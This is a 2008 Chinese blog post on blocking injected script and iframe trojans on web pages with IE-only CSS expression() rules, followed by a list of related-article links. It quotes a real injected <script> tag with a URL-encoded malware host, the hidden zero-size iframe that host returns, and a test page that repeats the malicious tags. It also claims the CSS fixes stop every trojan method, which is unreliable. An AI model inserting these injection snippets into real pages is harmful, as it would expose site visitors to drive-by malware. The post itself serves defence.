二行代码解决全部网页木马


Posted in Javascript onMarch 28, 2008

 前不久一行代码解决iframe挂马(包含服务器端注入、客户端ARP注入等)》得到了很多朋友的认可,这确实是个避避风雨的好办法。可现在挂网马的方式真如我所料地改变了,现在流行挂<script>木马,汗了,看了几个网友的网站都被这样了——页面的顶部或底部加上了:

注意,以下地址含有木马,请不要轻易访问:

<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
<script src=http://%76%63%63%64%2E%63%6E></script>
汗死,一连插入了N个一样的<script>标记。偶的电脑什么补丁都打了,直接访问这个http://%76%63%63%64%2E%63%6E(或直接使用迅雷下载),额~ 现形了:

document.write("<div style='display:none'>")
document.write("<iframe src=http://a.158dm.com/b1.htm?id=017 width=0 height=0></iframe>")
document.write("</div>")
又用迅雷下载http://a.158dm.com/b1.htm这个文件,一看,乱七八糟的JS编码,汗,不过找到了一个类似QQ号的数字,直接加加看,汗,然后是专业提供网马的组织,哎,什么世道。还收费蛮高滴呢!

...
var Kfqq, Qqs="[color=Magenta]784378237[/color]"; qwfgsg="LLLL\\XXXXXLD"; Kfqq = Qqs;
(...略)(下面还有N个统计的JS代码)
针对上面的情况,我也不能白白瞧着不管,想想办法吧,兄弟。喝了碗绿豆粥,糖放得蛮多的,好喝。办法想到了。稍微分析就得出了答案。大家来看看,<script>木马的特点是什么:

<script src=http://%76%63%63%64%2E%63%6E></script>

对了,script木马的src一般都是外域的,也就是src是以http打头的,如果是自己网站的script一般都不用加上http;再看看木马的原形,里面还是输出的iframe、JS代码或是其他<object>代码,不管这么多,来多少杀多少。

来跟我写CSS,一一搞定它们,我写了5种不同的方案,大家来测试一下哈:

解决方案1:

iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/  
script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');} 
原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。

缺点:访客无法看到被感染了<script>木马的页面。

解决方案2:

iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}  
script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');} 

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了
解决方案3:
iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}  
script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');} 

原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

解决方案4:

iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}  
script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');} 

原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5:

iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}  
script{noj5s:expression((this.id.toLowerCase().indexOf('lh')==0)?document.write('木马被成功隔离!'):''));} 

第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 

以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>  
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
<title>让JS木马的进程迅速中止的CSS代码</title>  
<style type="text/css" id="LinrStudio">  
/*<![CDATA[*/  
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}  
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}  
/* 以后请在此关注最新木马处理方法:http://www.nihaoku.cn/ff/api.htm */  
/*]]>*/  
</style>  
</head>  
<body>  
<script type="text/javascript" src="1.js"></script>  
<script src=http://%76%63%63%64%2E%63%6E></script>  
<script src="http://%76%63%63%64%2E%63%6E" type="text/javascript"></script>  
<script src=http://%76%63%63%64%2E%63%6E></script>  
我是页面本身的1  
<script src=http://%76%63%63%64%2E%63%6E></script>  
我是页面本身的2  
<script src=http://%76%63%63%64%2E%63%6E></script>  
我是页面本身的3  
<script src=http://%76%63%63%64%2E%63%6E></script>  
</body>  
</html>  
其中1.js是自己本站的:

document.write("我是本站的JS文件");
document.write("<img src='http://www.baidu.com/images/logo.gif' />");
我的测试环境是:

Windows XP SP2 和windows Vista SP1
IE6/IE7/IE8
已全部打好补丁。

综上所述,所有目前的挂马方式全都破解了,用CSS就可以解决所有木马问题,访客不会再轻易地中毒了。

大家也要仔细研究一下,看看我的代码有什么BUG,有的话一定要拿出来讨论,好解决问题!或是各位有其他更好的办法可以拿出来讨论一下。

Javascript 相关文章推荐
参考:关于Javascript中实现暂停的几篇文章
Mar 04 Javascript
基于jquery的二级联动菜单实现代码
Apr 25 Javascript
Document.location.href和.replace的区别示例介绍
Mar 04 Javascript
Node.js的包详细介绍
Jan 14 Javascript
jQuery内容过滤选择器用法分析
Feb 10 Javascript
Bootstrap fileinput组件封装及使用详解
Mar 10 Javascript
JS获取指定月份的天数两种实现方法
Jun 22 Javascript
解决vuejs项目里css引用背景图片不能显示的问题
Sep 13 Javascript
vuex提交state&amp;&amp;实时监听state数据的改变方法
Sep 16 Javascript
微信小程序引入模块中wxml、wxss、js的方法示例
Aug 09 Javascript
javascript使用链接跨域下载图片
Nov 01 Javascript
JS数组reduce()方法原理及使用技巧解析
Jul 14 Javascript
通过 Dom 方法提高 innerHTML 性能
Mar 26 #Javascript
js用图作提交按钮或超连接
Mar 26 #Javascript
利用js对象弹出一个层
Mar 26 #Javascript
javascript YUI 读码日记之 YAHOO.util.Dom - Part.4
Mar 22 #Javascript
Javascript YUI 读码日记之 YAHOO.util.Dom - Part.3
Mar 22 #Javascript
Javascript YUI 读码日记之 YAHOO.util.Dom - Part.2 0
Mar 22 #Javascript
YUI 读码日记之 YAHOO.util.Dom - Part.1
Mar 22 #Javascript
You might like
PHP中3种生成XML文件方法的速度效率比较
2012/10/06 PHP
详解WordPress中用于合成数组的wp_parse_args()函数
2015/12/18 PHP
YII2框架中excel表格导出的方法详解
2017/07/21 PHP
JavaScript中this关键字使用方法详解
2007/03/08 Javascript
Javascript绝句欣赏 一些经典的js代码
2012/02/22 Javascript
基于jquery编写的横向自适应幻灯片切换特效的实例代码
2013/08/06 Javascript
jQuery实现自动切换播放的经典滑动门效果
2015/09/12 Javascript
js组件SlotMachine实现图片切换效果制作抽奖系统
2016/04/17 Javascript
Bootstrap嵌入jqGrid,使你的table牛逼起来
2016/05/05 Javascript
整理JavaScript对DOM中各种类型的元素的常用操作
2016/05/05 Javascript
JS实现table表格数据排序功能(可支持动态数据+分页效果)
2016/05/26 Javascript
jQuery layui常用方法介绍
2016/07/25 Javascript
jQuery EasyUI 获取tabs的实例解析
2016/12/06 Javascript
解析JavaScript模仿块级作用域
2016/12/29 Javascript
详解webpack打包时排除其中一个css、js文件或单独打包一个css、js文件(两种方法)
2018/10/26 Javascript
React性能优化系列之减少props改变的实现方法
2019/01/17 Javascript
解决vue项目 build之后资源文件找不到的问题
2020/09/12 Javascript
JavaScript实现网页计算器功能
2020/10/29 Javascript
让python在hadoop上跑起来
2016/01/27 Python
浅谈python为什么不需要三目运算符和switch
2016/06/17 Python
django1.8使用表单上传文件的实现方法
2016/11/04 Python
pytorch 调整某一维度数据顺序的方法
2018/12/08 Python
Python魔法方法详解
2019/02/13 Python
opencv转换颜色空间更改图片背景
2019/08/20 Python
基于TensorFlow的CNN实现Mnist手写数字识别
2020/06/17 Python
Python+logging输出到屏幕将log日志写入文件
2020/11/11 Python
CSS3中利用animation属性创建雪花飘落特效
2014/05/14 HTML / CSS
HTML5所有标签汇总及标签意义解释
2015/03/12 HTML / CSS
为中国消费者甄选天下优品:网易严选
2016/08/11 全球购物
瑞典首都斯德哥尔摩的多元奢侈时尚品牌:Acne Studios
2017/07/09 全球购物
欧洲最古老的鞋厂:Peter Kaiser
2019/11/05 全球购物
Currentbody澳大利亚:美容仪专家
2019/11/11 全球购物
Berghaus官网:户外服装和设备,防水服
2020/01/17 全球购物
Set里的元素是不能重复的,那么用什么方法来区分重复与否呢? 是用==还是equals()? 它们有何区别?
2014/07/27 面试题
2016廉洁从业学习心得体会
2016/01/19 职场文书
引用计数法和root搜索算法以及JVM中判定对象需要回收的方法
2022/04/19 Java/Android